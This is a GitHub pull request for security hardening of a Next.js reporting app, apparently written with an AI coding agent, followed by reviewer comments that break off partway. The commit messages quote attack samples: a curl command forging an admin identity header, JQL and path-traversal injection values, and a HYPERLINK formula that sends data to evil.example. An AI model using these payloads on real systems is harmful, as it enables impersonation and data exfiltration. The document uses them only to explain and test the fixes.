Repository navigation
Security hardening rollup: verify OIDC JWTs, gate every route, Next 16 — supersedes #78/#79/#80 - #81
Conversation
…visories Replaces Aikido AutoFix PR Smartling#78, which did not fix the vulnerability named in its own title and could not be installed at all. Why Smartling#78 was unusable: - It targeted next@15.2.0. The React-flight RCE it cited is patched on the 15.2 line only at 15.2.6; the advisory's affected range is >=15.2.0-canary.0 <15.2.6, so 15.2.0 is inside it. - Its lockfile recorded integrity sha512-PiZLhL... for next@15.2.0, which matches neither 15.2.0 (sha512-VaiM7s...) nor 15.1.3 (sha512-5igmb8...). The hash was not produced by an install, so `npm ci` aborts with EINTEGRITY and the Docker build cannot run. - It left 4 criticals and 12 highs open, and ADDED two highs whose affected ranges begin at 15.2.0 (App Router proxy bypass via segment-prefetch), which 15.1.3 was not subject to. - 15.x reaches end of security support on 2026-10-21 regardless. This change instead moves to 16.3.8 (Active LTS, supported to at least Oct 2027) via a real `npm install`, so every integrity hash is the one the registry serves. next 15.1.3 -> 16.3.8 (0 advisories; was 34) react 19.0.0 -> 19.3.0 mysql2 3.19.0 -> 3.24.5 (auth-plugin downgrade leaking plaintext credentials, GHSA-3f6p-5ww8-9rcr) uuid 11.1.0 -> 11.1.1 sharp 0.33.5 -> 0.35.5 (transitive; two libvips/libheif advisories) @aws-sdk/client-bedrock-runtime bumped to clear the fast-xml-parser chain csv-parse removed entirely — it was declared but imported nowhere, so it was pure attack surface (prototype pollution via the `columns` path) Production audit: 2 critical / 11 high -> 0 vulnerabilities. Full audit incl. dev: 1 low (esbuild, Windows-only dev server; not applicable). Next 16 migration surface in this repo is nil, verified before upgrading: no next/image import, no next/headers import, all dynamic route params already Promise-typed, no parallel routes, no custom webpack config, no `next lint`, no next/cache usage, no serverRuntimeConfig. Verified: tsc --noEmit clean, `next build` green under Turbopack (now the default), jest 184/197 suites passing — byte-identical to the pre-upgrade baseline. The 13 failing suites fail only because better-sqlite3 has no prebuilt binding for the local Node 26 ABI; they are unrelated to this change and are expected to pass in CI on Node 20/22. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…injection Replaces Aikido AutoFix PRs Smartling#79 and Smartling#80, keeping what they got right and fixing what they got wrong. What Smartling#79 got wrong — two of its five pins did not say what they claimed: actions/checkout@11bd71901bbe... is tagged v4.2.2, commented "# v5.2.2" actions/setup-node@39370e3970a6... is tagged v4.1.0, commented "# v5.1.1" Neither v5.2.2 nor v5.1.1 exists. It silently downgraded both actions across a major version while labelling them v5, and a false version comment defeats the one maintainability benefit pinning has. All five pins here were resolved from the upstream tag refs and verified to match their comments. What Smartling#80 left open: - test.yml had no `permissions:` block at all — that is the workflow which runs on `pull_request`, i.e. the fork-PR path, and it inherited the repository default token scope while building untrusted code. - build-and-push's checkout still persisted credentials. - The `${{ github.ref }}` script injection was untouched. Changes: - docker-publish.yml: `permissions: {}` at workflow level, so no job inherits anything; `contents: read` on test; `contents: read` + `packages: write` scoped to build-and-push only. - test.yml: `permissions: contents: read` (was absent). - persist-credentials: false on all three checkout steps, so the job token is not left in .git/config where pull-request code can read it. - All five actions pinned to verified full commit SHAs with accurate comments (checkout v5.1.0, setup-node v5.0.0, setup-buildx v3.12.0, login-action v3.7.0, build-push-action v6.19.2). - github.sha / github.event_name / github.ref are passed through `env:` instead of being interpolated into the tag-computation script. GitHub substitutes ${{ }} textually before bash runs, and github.ref derives from a branch name, which may contain quotes, backticks, $() or newlines — so a contributor-chosen branch name could execute commands in a job holding packages: write. - :latest is now published only when the built commit is still the head of main. Re-running an old run replays its SHA while event_name and ref both still read as a push to main, so the previous check let a rerun move :latest backwards onto superseded code. Verified: both files parse as YAML; 0 unpinned actions; 0 ${{ }} expressions inside any run block; all 3 checkouts set persist-credentials: false. CI itself cannot be exercised from here — these need a live run to confirm green, which is why no behavioural step (test command, Node version) changed in this commit. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
… header
extractUser() split the identity header on '.', base64-decoded segment one,
JSON.parsed it, and trusted `email`, `sub` and `groups` verbatim. No signature
check, no expiry, no issuer, no algorithm pinning. `x-amzn-oidc-data` is an
ordinary HTTP header once it leaves the load balancer, so anything able to open
a TCP connection to the app port was whichever identity, in whichever groups,
it chose to claim:
PAYLOAD=$(printf '{"email":"x@y","groups":["splunk-admin"]}' | base64)
curl -X POST http://app:3000/api/report -H "x-amzn-oidc-data: e30.$PAYLOAD.sig"
That forged header satisfied requireAdmin() and unlocked report deletion,
schedule CRUD, Jira issue transitions and due-date writes, vulnerability syncs,
and — because buildCostVisibility() short-circuits for admins — every
developer's Claude spend. AWS documents signature verification as mandatory
for this header for exactly this reason.
The previous auth.test.ts built its tokens with the literal signature
"fakesignature" and asserted extractUser ACCEPTED them, so the suite encoded
the vulnerability as expected behaviour. cost-visibility.test.ts and
is-admin.test.ts likewise relied on unsigned tokens resolving. All three now
use real keys, and the central new case is that a tampered signature is
refused.
Verification (src/lib/auth.ts):
- jose jwtVerify with the algorithm pinned from our side, so alg:none and
HMAC-substitution are rejected rather than read out of the token.
- Two modes, because this app sits behind two identity-injecting proxies:
AUTH_ALB_REGION fetches one PEM per kid from
public-keys.auth.elb.<region>.amazonaws.com (ALB publishes no JWKS
document), and AUTH_JWKS_URL handles any standard JWKS endpoint. Keys are
cached; the kid is pattern-checked first so it cannot steer the fetch off
the AWS host.
- exp/nbf enforced with 60s tolerance; iss enforced when AUTH_EXPECTED_ISS set.
- Enabled but unconfigured denies every request and logs loudly, rather than
falling back to trusting the header.
- Returns null on any failure and never throws, so a key-fetch outage denies
access instead of granting it.
Fail closed (F-04). isAuthEnabled() was `=== 'true'`, so a dropped or
misspelled env var silently turned isAdmin() into `true`, requireAdmin() into
"not denied", and buildCostVisibility() into an omniscient predicate — no
error, no log line. Unset now means enabled in production, and
AUTH_ENABLED=false in production additionally requires
AUTH_ALLOW_ANONYMOUS_ADMIN=true before admin routes open. validateEnv() now
emits a startup banner whenever authentication is off at all, which it
previously never did.
Remove the production auth bypass (F-05). AUTH_TEST_ALLOW_IN_PRODUCTION let
AUTH_TEST_USER fabricate an identity for every request under
NODE_ENV=production, making a complete authentication bypass a documented,
supported configuration — and docker-compose.yml passed it straight through,
so any environment built from that template was one variable away from it. The
flag is gone and the bypass is inert in production by construction; the compose
file no longer forwards AUTH_TEST_* at all. Local flows should run a
development build.
extractUser() is async now (key fetch + verification). All six call sites
updated: logger, cost-visibility, auth/me, mcp, skip-allowlist, vulnerability
sync. isAdmin()/requireAdmin() are async too.
jest.config.ts: jose is ESM-only with no CJS build, so it needs transforming
and a transformIgnorePatterns entry — without both, every suite touching auth
dies with "Cannot use import statement outside a module" pointing at
jose/dist/webapi/index.js, which reads like a transform-config problem rather
than an ESM one. Same shape as the existing @octokit entry.
Verified: tsc --noEmit clean; next build green; 28 new auth tests pass
including forged-signature, swapped-payload, alg:none, expired, unknown-kid and
kid-path-escape cases; full suite 184/197 suites and 1861 tests passing —
identical suite count to the pre-change baseline, with the 13 failures being
better-sqlite3's missing native binding on the local Node 26 ABI.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Authorization was opt-in per handler. Of 62 exported route handlers, 24 lived
in files that referenced no auth function at all, so with nothing but network
reach to the port a caller could read:
/api/vulnerabilities/alerts the org's unpatched critical/high Dependabot
alerts with SLA due dates — a prioritised,
pre-verified target list
/api/report, /api/report/[id]/{org,dev,commits,jira-issues}
every developer's impact score and AI-usage %
/api/settings/user-mappings the GitHub login <-> Jira email mapping table
/api/developers?source=github the server's GitHub PAT, aimed at an
attacker-chosen org
POST /api/settings/github/test-connection
every org that PAT can see
POST /api/chat an LLM agent over seven DB query tools
Two of the vulnerability route files even carried the comment "Readable by
every signed-in user ... Do not add requireAdmin" — documenting a signed-in
check that nothing in the request path performed.
src/proxy.ts (Next 16 renamed this convention from `middleware`; its runtime is
nodejs and cannot be configured, which is what lets it call extractUser and so
verify a signature) now requires a verified identity for every path except
/api/health. requireAdmin stays in the handlers: the gate establishes
authentication, handlers enforce authorization. A new route can no longer ship
unauthenticated by omission — the matcher is deliberately broad rather than an
API path list.
src/lib/orgs/guard.ts validates the caller-supplied `org`, which previously was
checked against nothing on any of the ~14 routes that accept it:
- A shape check runs regardless of configuration, because the value reaches
GitHub API paths and org-scoped SQL.
- ALLOWED_ORGS restricts which orgs this deployment will serve. Unset accepts
any well-shaped name so existing single-org installs keep working;
env-validation warns in that state.
- Rejection is 404, not 403, and never echoes the submitted value, so the
response does not confirm which orgs exist here.
Wired into all 11 org-accepting handlers (query string and JSON body).
chat/agent.ts now OVERWRITES fnArgs.org instead of defaulting it. The previous
`if (!fnArgs.org)` let the model supply its own org, so a prompt-injected tool
call could widen a query past the org the request was scoped to.
POST /api/settings/github/test-connection is now admin-gated. It enumerates
every organisation the PAT can reach, which makes it a credentialed
reconnaissance primitive rather than a connectivity probe, and it was the only
*_test-connection route without a gate.
Scope note: this does not implement per-user tenancy — deciding which orgs a
*particular* user may see needs a membership model (an OIDC group claim or an
explicit table) and is a product decision, not something to invent in a
security fix. What it does establish is that the reachable org set is the
configured one rather than any string on the internet, which closes the
credentialed-proxy problem outright and bounds cross-tenant reads to orgs an
operator deliberately hosts together. Report lookups are still keyed on a
global report id; see the PR description.
Verified: tsc --noEmit clean; `next build` registers "ƒ Proxy (Middleware)";
32 new tests across the gate and the guard; full suite 186/199 suites and 1893
tests passing, with the same 13 better-sqlite3 binding failures as baseline.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…injection
Four injection sinks, three of them reachable without credentials.
1. JQL injection (jira/client.ts:314). searchChildIssues built
`"Epic Link" = ${epicKey} OR parent = ${epicKey} ORDER BY resolutiondate DESC`
with no quoting or validation, and epicKey was the [key] path segment of
GET /api/projects/[key]/stats and /summary. Because the interpolation was
unquoted the value controlled query *structure*, not just a literal, so
`X-1 OR project = HR` read across the whole Jira instance with the
integration account's visibility and echoed the issues back in the response.
Now validated by assertIssueKey and quoted — the same discipline
jira-projects/jql.ts already applied to project keys and status names.
2. Jira REST path injection (jira/client.ts:261,275,290). getTransitions,
transitionIssue and updateDueDate interpolated the same unvalidated,
unencoded key into `/issue/${issueKey}/...`. Next decodes path segments, and
the WHATWG URL parser normalises `..`, so a key of `..%2F..%2Fmyself`
addressed an arbitrary Jira endpoint with these credentials. Each site now
validates and encodeURIComponent's the key, and jiraFetch additionally
refuses any path that does not resolve under /rest/api/<version>/ — a
backstop that makes the whole class non-exploitable at the sink regardless
of caller discipline. Note findUserByEmail already encoded its input, so the
omission was inconsistent within the file rather than a house style.
All four [key] routes also validate at the boundary, so a malformed key is a
400 rather than a 500 from inside the client, and never reaches a log line.
3. Stored XSS — four sinks (dev page:401, team page:469, chat-panel:272,276).
Each pushed LLM narrative into dangerouslySetInnerHTML after a few markdown
regexes, escaping nothing. The text derives from commit messages, PR titles,
branch names and Jira summaries — writable by anyone who can push to a
scanned repo — and the dev summary is persisted to developer_summaries, so
one injection was replayed to every later viewer including admins, with no
CSP to contain it and no CSRF token to stop the resulting script driving
admin routes.
Replaced by one SafeMarkdown component returning React elements, so text
nodes are escaped by React and there is no path from a tag in the model's
output to a tag in the DOM. It supports exactly the vocabulary those sites
used (## heading, - bullet, **bold**, `code`, @mention). renderPulseMarkdown
and formatInline are deleted. One shared renderer is the point: the
prompt-side hardening was uneven precisely because every call site
re-invented it.
The remaining dangerouslySetInnerHTML in components/charts/chart.tsx is a CSS
variable block whose identifiers go through cssIdent and which takes
developer-supplied config, not untrusted input.
4. Spreadsheet formula injection in the CSV and Google Sheets exports
(team page:113,142) — found by Aikido, missed by my own review. Quoting
alone does not help: Excel, Sheets and LibreOffice evaluate a cell beginning
=, +, -, @ or a tab/CR as a formula even when quoted. The exported
Developer, Types and Active Repos columns are all attacker-influenced, and
the team export is copied to the clipboard for pasting straight into a new
Google Sheet, so `=HYPERLINK("https://evil.example?x="&A1,"click")` became a
live formula in the recipient's spreadsheet. New lib/csv.ts prefixes a
single quote on those leads and collapses CR/LF so a value cannot forge
extra rows; both export paths use it.
Verified: tsc --noEmit clean; next build green; 28 new tests covering the JQL
payloads, the path-escape payloads and every formula lead; full suite 187/200
suites and 1921 tests passing, with the same 13 better-sqlite3 binding failures
as baseline. jira-client.test.ts assertions updated because jiraFetch now
passes a URL object so the base-path guard can inspect it.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…am errors
1. GET /api/llm-config had no auth gate and returned the full AppConfig:
the last five real characters of GITHUB_TOKEN, LLM_API_KEY and
SMARTLING_USER_SECRET; SMARTLING_ACCOUNT_UID and
SMARTLING_USER_IDENTIFIER in full; the Jira host and service-account
username; the LLM endpoint; and `missing[]`, which enumerates precisely
which credentials are absent.
src/app/page.tsx fetches this endpoint on every homepage load purely for
`latestReport.org`, so the payload also reached every ordinary user's
browser memory, devtools and HAR captures — not just deliberate callers.
The response is now split: admins get the full config, everyone else gets
provider/model/ready/vulnerabilities plus latestReport, which is all the
homepage needs.
maskSecret's `'xxxxx' + value.slice(-5)` is replaced by a truncated SHA-256
fingerprint. Five real characters are enough to confirm which token a
deployment uses against a dump obtained elsewhere; a hash answers "is this
the token I think it is?" and nothing else. The two Smartling identifiers
are fingerprinted too — they are credential components, not display names,
and with a leaked userSecret they authenticate directly against Smartling's
auth-api.
2. Deleted /api/debug/headers and /debug/headers. The endpoint reflected every
request header and base64-decoded both x-amzn-oidc-data and
x-amzn-oidc-accesstoken, returning the decoded JOSE header and payload — all
unauthenticated, in the production build, with the page labelled "Debug page
— not linked from navigation", i.e. security by obscurity. Its practical
value to an attacker was as a free oracle for validating a forged identity
header before spending a request on a real route, and for learning whether
they were reaching the app through the ALB or directly.
3. Raw upstream error text is no longer returned. Twelve handlers serialised
err.message, and several of those messages embed an entire upstream
response: jiraFetch threw `Jira API error (status): <full body>`, Octokit
errors carry request URLs and rate-limit state, LLM errors carry the
provider endpoint, model and quota detail. On the unauthenticated routes
that was an oracle — most consequentially it turned the JQL injection into
an interactive one, because Jira's own parse errors came back naming fields
and positions.
New lib/api-error.ts logs server-side and returns a stable
`{ error: 'internal_error' }`, mirroring the policy mcp/tools.ts already
documented. Authored messages stay: ReportNotFoundError,
JiraNotConfiguredError, TeamDuplicateError and validation failures are
contract, not leakage. jiraFetch additionally truncates the upstream body to
200 chars so even the admin-gated test-connection paths cannot echo a whole
Jira response. /api/health no longer returns the GitHub fetch failure text,
which could name the proxy, DNS or token state.
Four test suites asserted the leaky behaviour and are rewritten as regression
guards — they expected `Jira API error (403)` and `xxxxx12345` to reach the
client, the same shape as auth.test.ts asserting that "fakesignature" was
accepted.
Verified: tsc --noEmit clean; next build green with no debug route in the
manifest; logger-enforcement still passes; full suite 187/200 suites and 1922
tests passing, with only the 13 better-sqlite3 binding failures.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…y headers
Container (Aikido CKV_DOCKER_3, sev 65):
- USER node. The runner stage issued no USER directive, so `node server.js`
ran as uid 0. With four critical unauthenticated-RCE advisories open against
the shipped framework, any one of them started as root — free to backdoor
server.js for persistence across restarts, apk add tooling, read
/proc/1/environ, and attempt escapes that need privileged operations.
Copies are --chown=node:node.
- node:20-alpine -> node:22.23.3-alpine pinned by digest. Node 20 reached end
of life on 2026-04-30, so the runtime had stopped receiving upstream
security patches entirely — in a product whose purpose is tracking its
customers' overdue CVEs. The digest also makes the build reproducible and
stops a retagged upstream being consumed silently.
- HEALTHCHECK added (previously only compose had one, so a bare `docker run`
had no liveness signal).
- Node version now agrees across .nvmrc, both workflows and the Dockerfile;
they had drifted to 20 everywhere while Next 16 requires >=20.9.
docker-compose.yml:
- DB credentials were the literals glooker/glooker and rootpassword, not
${VAR} references, so they could not be overridden and would be used
verbatim by anyone who ran the file — including as a staging template.
Now `${VAR:?...}`, so compose refuses to start rather than starting with
known credentials (verified: it errors without them).
- Dropped `ports: 3307:3306` on MySQL. The app reaches it over the compose
network; publishing it exposed a database whose password was in the file.
- App port bound to 127.0.0.1. Publishing on all interfaces put an
application whose auth defaulted to off onto the host's network.
next.config.ts set no response headers at all. Added CSP, HSTS,
X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy and
COOP. Individually minor; together they are the layers that would have contained
the stored-XSS sinks and the UI-redress variant of the missing CSRF defence.
script-src is 'self' with no 'unsafe-inline' — that is the directive that
actually blocks an injected handler. 'unsafe-inline' remains in style-src
because Recharts and chart.tsx's CSS-variable block emit inline styles, and
img-src allows avatars.githubusercontent.com because developer_stats.avatar_url
is rendered throughout. Operators unsure of their asset set should deploy as
Content-Security-Policy-Report-Only first.
Verified: tsc --noEmit clean; next build green; 6 new header tests; full suite
188/201 suites and 1928 tests passing, only the 13 better-sqlite3 binding
failures. The image itself could not be built or run here (no container runtime
available), so `docker run --rm <image> id` returning uid=1000 still needs
confirming in CI.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…paths logSafe() in logger.ts strips CR, LF, U+2028/U+2029 and control characters (including ANSI escapes) before a value is interpolated into a plaintext log line, and caps length. Five console.error sites interpolated the raw `[key]` route segment, three of them on unauthenticated routes, and Next delivers that segment URL-decoded — so a key containing %0A forged whole log entries, including plausible successful-authentication events, and ANSI escapes could corrupt a terminal-based review. Combined with the JQL injection on those same routes it also gave an attacker a way to bury their own probing in noise. Scope is deliberately the console stream only: requests.log and errors.log are written with JSON.stringify, which escapes newlines, so the structured audit record was never forgeable. That is why this is Low rather than Medium. The five `[key]` sites are already covered by this commit's companions — the route-boundary issue-key validation in the injection commit rejects CR/LF before any logging happens, and the error-handling commit removed the console.error calls that duplicated what internalError now logs. logSafe is applied where untrusted text still reaches a log line: report-runner's shared log(), which carries `org` and integration error text. prompt-loader.ts now resolves template paths and refuses anything outside PROMPTS_DIR. Every current call site passes a hardcoded literal, so Aikido's path-traversal finding there is a false positive today — but the function is safe by call-site discipline alone, and a future feature letting a user pick a template (plausible in a product that already exposes `promptsDir` through its settings API) would make it a real traversal with no change to this file. Four lines to make that structurally impossible instead of relying on review. Its not-found error no longer echoes the resolved absolute path either: two handlers used to return err.message to unauthenticated callers, so a PROMPTS_DIR misconfiguration would have disclosed the container's filesystem layout. Verified: tsc --noEmit clean; next build green; 8 new tests; full suite 189/202 suites and 1936 tests passing, only the 13 better-sqlite3 binding failures. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The ALB branch already passed `algorithms: ['ES256']`, but the AUTH_JWKS_URL branch passed none — so jose would accept whatever algorithm the JWKS document advertised, handing algorithm choice to the key document rather than to us. Now allowlisted (RS256,ES256 by default, overridable via AUTH_JWKS_ALGS). Also records why the "unsafe JWT decode" pattern does not apply to the decodeProtectedHeader call: it reads `alg`/`kid` only to select a signing key and to reject obviously-wrong algorithms early. jwtVerify is the authority and now carries an explicit allowlist on both paths, so a token lying about `alg` cannot influence what is actually accepted — the pre-filter can only reject, never admit. Worth stating in the file, because a scanner flagging this at severity 87 will come up again. next-env.d.ts and tsconfig.json are Next 16's own typegen output, written by `next build` during the upgrade (routes/root-params type references, jsx: preserve -> react-jsx, and the .next/dev/types include). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
# Conflicts: # CLAUDE.md # src/app/api/llm-config/route.ts
…the app Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…T verification change) Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
A static `script-src 'self'` blocks the inline scripts Next's App Router uses to bootstrap hydration (`self.__next_f.push(...)`, the RSC payload). In a real browser every page rendered as static HTML with no data and React error #412; curl-based checks can't see it. proxy.ts now mints a 128-bit nonce per request and sends `script-src 'self' 'nonce-…' 'strict-dynamic'` on both the request (Next stamps the nonce on its own scripts) and the response. An injected inline script still can't run — verified in headless Chrome under the same policy. The root layout calls `connection()` so pages render per request; a prerendered page would ship scripts without the request's nonce. The other security headers stay static in next.config.ts. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…d identity path Dev has two ways in: browsers through the ALB (signed x-amzn-oidc-data, AUTH_ALB_REGION) and MCP clients through mcp-okta-proxy. The sidecar used to inject an unsigned alg=none JWT into x-amzn-oidc-data, which signature verification correctly rejects — so with one verification mode, either the browser or MCP was locked out. The sidecar now forwards the caller's original, already-validated Okta access token in x-okta-access-token (mcp-okta-proxy 0.2.17, OKTA_MCP_PROXY_ACCESS_TOKEN_HEADER_NAME). extractUser verifies it against Okta's JWKS — RS256 pinned, issuer, audience, expiry, optional cid — and reads email/groups from Okta /userinfo with that token (Okta's org server omits them from access tokens), cached per token for at most 5 minutes and never past expiry. Any failure denies. The Okta token counts only on OKTA_TOKEN_PATHS (/api/mcp): proxy.ts strips the header from every other request via sanitizeIdentityHeaders, so a captured MCP token can't drive the UI. Config AUTH_OKTA_ISSUER + AUTH_OKTA_AUDIENCE (both, or the path is off; validateEnv errors on half-config), optional AUTH_OKTA_CLIENT_ID, JWKS/userinfo URLs derived from the issuer. Also: 401s from the gate now carry default-src 'none' (they had no CSP), and security-headers tests read the CSP from the proxy, where it now lives. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
… twice and the boot migrations deadlocked Under Next 16 the db module is instantiated more than once per process, so each copy created its own pool and ran the boot ALTERs concurrently: 8 'Deadlock found' errors on a local boot (0 on main/Next 15 under the same load). On a new column that leaves it silently missing, since initSchema logs and continues. Same globalThis pattern as the progress and schedule stores; the shared promise also covers two first calls racing. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
|
Pushed 6 commits on top of Merge with Blocker 1 — the CSP broke the app in a real browser ( Blocker 2 — browser vs MCP on dev (
Next 16 regression — boot migrations deadlocked ( Compose ( Jest: 2177/2178 locally. The one failure comes from untracked duplicate files on my machine and passes without them. Still open here: non-admins lose the Projects nav link and Jira host links, because the public config drops Dev rollout needs (
|
msogin
left a comment
There was a problem hiding this comment.
Smartling review
Assessment: Ready to merge with fixes. The PR closes real holes (unsigned JWT trust, ungated routes, CSV/formula injection, the org override in chat). However, the ALB path still lets anyone with their own ALB in the same region forge identities until signer and the issuer are pinned, and the JWKS path should pin the audience.
The inline comments below cover the specific issues. Cross-cutting recommendations:
- Authentication is now enforced only in the proxy and its matcher. Add a test that asserts the matcher covers
/api/*and page routes. - Add negative tests to
proxy-auth-gate.test.tsandauth.test.tsfor wrong audience, wrong issuer, and a foreign ALBsigner. src/app/api/chat/route.ts:req.json()sits outside the try block, so a malformed body returns an unhandled 500. Move it inside the try.
| })); | ||
| } else if (process.env.AUTH_ALB_REGION) { | ||
| if (alg !== 'ES256' || !kid) return null; | ||
| ({ payload } = await jwtVerify(token, await albPublicKey(kid), { |
There was a problem hiding this comment.
🔴 critical — ALB tokens are accepted without checking the signer header against our ALB ARN. The public-keys.auth.elb.<region>.amazonaws.com key host serves keys for every ALB in the region, so anyone running their own ALB and OIDC IdP in the same region can mint an ES256 token with any email/groups, including admin. That is a full authentication bypass. AUTH_EXPECTED_ISS is also optional, so the issuer is not pinned by default.
Fix: add a required AUTH_ALB_ARN, read signer from decodeProtectedHeader, and reject unless it equals that ARN. Make AUTH_EXPECTED_ISS mandatory on the ALB path, and fail closed in env-validation when either is missing.
There was a problem hiding this comment.
Fixed in b73b163. The ALB path now requires AUTH_ALB_ARN and rejects any token whose signer header differs. That check runs before any key fetch, so a foreign token costs no outbound request either. AUTH_EXPECTED_ISS is now mandatory on the ALB path, and validateEnv errors when either is missing. Tests: a correctly signed token from another ALB is rejected with zero fetches, a token with no signer is rejected, and a missing ARN or issuer denies everything. The foreign-signer test fails if the check is removed. Dev values: issuer https://smartling-login.okta.com (the ALB's authenticate_oidc issuer); the ARN is derivable from the listener ARN terraform already reads.
|
|
||
| let payload: JWTPayload; | ||
| if (process.env.AUTH_JWKS_URL) { | ||
| ({ payload } = await jwtVerify(token, remoteJwks(), { |
There was a problem hiding this comment.
🟡 warning — The JWKS path checks no audience, and the issuer is only checked when AUTH_EXPECTED_ISS is set. Any token the same IdP signed for a different client app would authenticate here (token confusion across apps).
Fix: add AUTH_EXPECTED_AUD, pass audience to jwtVerify, and require both issuer and audience whenever AUTH_JWKS_URL is used.
There was a problem hiding this comment.
Fixed in b73b163. The JWKS path requires AUTH_EXPECTED_ISS and the new AUTH_EXPECTED_AUD (passed as audience to jwtVerify); without either, every token is denied and validateEnv errors. Tests: wrong audience (a token for another app), wrong issuer, and each pin missing.
| if (!/^[A-Za-z0-9._-]{1,128}$/.test(kid)) throw new Error('malformed key id'); | ||
|
|
||
| const region = process.env.AUTH_ALB_REGION!; | ||
| const res = await fetch( |
There was a problem hiding this comment.
🟡 warning — Every token with a new, well-formed kid triggers an outbound fetch to AWS, and failed lookups are not cached. albKeyCache also grows without limit. Unauthenticated callers can use this to make the app send unlimited outbound requests (amplification).
Fix: cache misses for a short time, share one in-flight lookup per kid, and bound the cache size.
There was a problem hiding this comment.
Fixed in b73b163. Key lookups are bounded (ALB_KEY_CACHE_MAX = 100, FIFO). Misses are cached for 60s, and concurrent lookups for the same kid share one in-flight fetch. The signer pin above also runs first, so only tokens claiming our ALB reach a lookup at all. Tests cover each of these.
| if (PUBLIC_PATHS.has(req.nextUrl.pathname)) return next(req); | ||
|
|
||
| const user = await extractUser(sanitizeIdentityHeaders(req.headers, req.nextUrl.pathname)); | ||
| if (!user) return unauthorized(req); |
There was a problem hiding this comment.
🟡 warning — The token is verified here, then again in every handler (requireAdmin, resolveRequester, /api/auth/me). That is two or more signature checks per request, and on the ALB path a cold key cache means duplicate key fetches.
Fix: have the proxy strip an internal identity header from inbound requests, set it with the verified identity, and have handlers read that header. Or memoize verification per request.
There was a problem hiding this comment.
Addressed in b73b163 with a per-token memo instead of an internal header. A token that fully verified maps to its identity until its own exp (at most 5 min, bounded to 1,000 entries), so the gate and the handlers verify once, and the Okta path calls /userinfo once. I avoided the internal trusted header on purpose: if the proxy matcher ever missed a path, a client-supplied copy would be trusted, which is the class of bug this PR removes. The memo is only written after full verification, so it can't admit anything verification wouldn't. Tests: jwtVerify runs once across three calls, and a memoized identity is not reused past token expiry.
| const cached = oktaUserCache.get(key); | ||
| if (cached && cached.expiresAt > Date.now()) return cached.user; | ||
|
|
||
| const res = await fetch(cfg.userinfoUrl, { |
There was a problem hiding this comment.
🟡 warning — The /userinfo response is trusted without checking that info.sub matches the token's sub. If AUTH_OKTA_USERINFO_URL is misconfigured, the identity could come from a different principal.
Fix: reject when info.sub !== payload.sub.
There was a problem hiding this comment.
Fixed in b73b163, with one Okta-specific detail. For org-server access tokens, sub is the user's login and the Okta user id is in uid, while /userinfo returns sub = the user id. So the check is info.sub === (payload.uid ?? payload.sub), and a missing info.sub is rejected too. Tests: a different principal is rejected, the org-server uid shape is accepted, and a missing sub is rejected.
| // non-production environment — production defaults to on, and | ||
| // validateEnv() prints a startup banner whenever auth is off at all. | ||
| if (!isAuthEnabled()) return next(req); | ||
|
|
There was a problem hiding this comment.
🔵 suggestion — In production, AUTH_ENABLED=false alone opens every read route; AUTH_ALLOW_ANONYMOUS_ADMIN only controls admin rights.
Fix: in production, also require a second explicit opt-in (e.g. AUTH_ALLOW_ANONYMOUS=true) before letting requests through, or refuse to start.
There was a problem hiding this comment.
Fixed in b73b163. In production, AUTH_ENABLED=false now also needs AUTH_ALLOW_ANONYMOUS=true; otherwise the gate answers 503 for everything except /api/health (the liveness probe stays up), and validateEnv errors. Outside production nothing changes. Compose passes it through, and the local podman flow sets it explicitly.
| const cfg = oktaConfig(); | ||
| if (!cfg) return null; | ||
|
|
||
| const { payload } = await jwtVerify(token, oktaKeySet(cfg.jwksUrl), { |
There was a problem hiding this comment.
🔵 suggestion — The cid pin is only enforced when AUTH_OKTA_CLIENT_ID is set.
Fix: make it required, or document that it is effectively required whenever one audience is shared by several clients.
There was a problem hiding this comment.
Made it required in b73b163. Dev's audience is the org-wide https://smartling-login.okta.com, which every app in the tenant shares, so without the cid pin another app's token would pass. With issuer and audience set but no client id, Okta tokens are denied and validateEnv errors. Test added.
msogin
left a comment
There was a problem hiding this comment.
Review-loop (2 personas, 1 loop)
Reviewers: Security Engineer + Security and Sr. Backend/Next.js Dev + Correctness. Intent: safe to merge. Verdict: not yet. There are 3 Critical issues: the token is not bound to this app (ALB signer check, JWKS aud/iss), and two Dockerfile runtime issues.
The reviewer also verified locally that tsc is clean, all 2178 jest tests pass, and next build succeeds. Every auth call site is awaited, and padded ALB tokens still verify under jose 6.
Deferred / non-inline:
- Release notes: production with
AUTH_ENABLEDunset is now gated, and MCP needsAUTH_OKTA_ISSUER/AUTH_OKTA_AUDIENCE. Document the required env vars and the rollout order. ALLOWED_ORGSempty means any org is allowed (documented, and a warning is logged). Consider requiring it in production in a follow-up.- Skipped: there is no per-user org membership (product decision), and
/publicassets other than the favicon return 401 when unauthenticated (consistent with deny-by-default).
| algorithms: ['ES256'], | ||
| clockTolerance: 60, | ||
| ...(process.env.AUTH_EXPECTED_ISS ? { issuer: process.env.AUTH_EXPECTED_ISS } : {}), | ||
| })); |
There was a problem hiding this comment.
[Critical | Security] ALB mode never checks the signer header. ALB signing keys are regional, not per-LB. Without comparing header.signer to this app's ALB ARN (and with AUTH_EXPECTED_ISS optional), a token minted by an attacker-controlled ALB in the same region verifies and can carry arbitrary email/groups. AWS documents the signer check as required. Suggest: required AUTH_ALB_ARN, reject unless header.signer matches; require issuer in ALB mode.
| algorithms: (process.env.AUTH_JWKS_ALGS || 'RS256,ES256').split(',').map((a) => a.trim()), | ||
| clockTolerance: 60, | ||
| ...(process.env.AUTH_EXPECTED_ISS ? { issuer: process.env.AUTH_EXPECTED_ISS } : {}), | ||
| })); |
There was a problem hiding this comment.
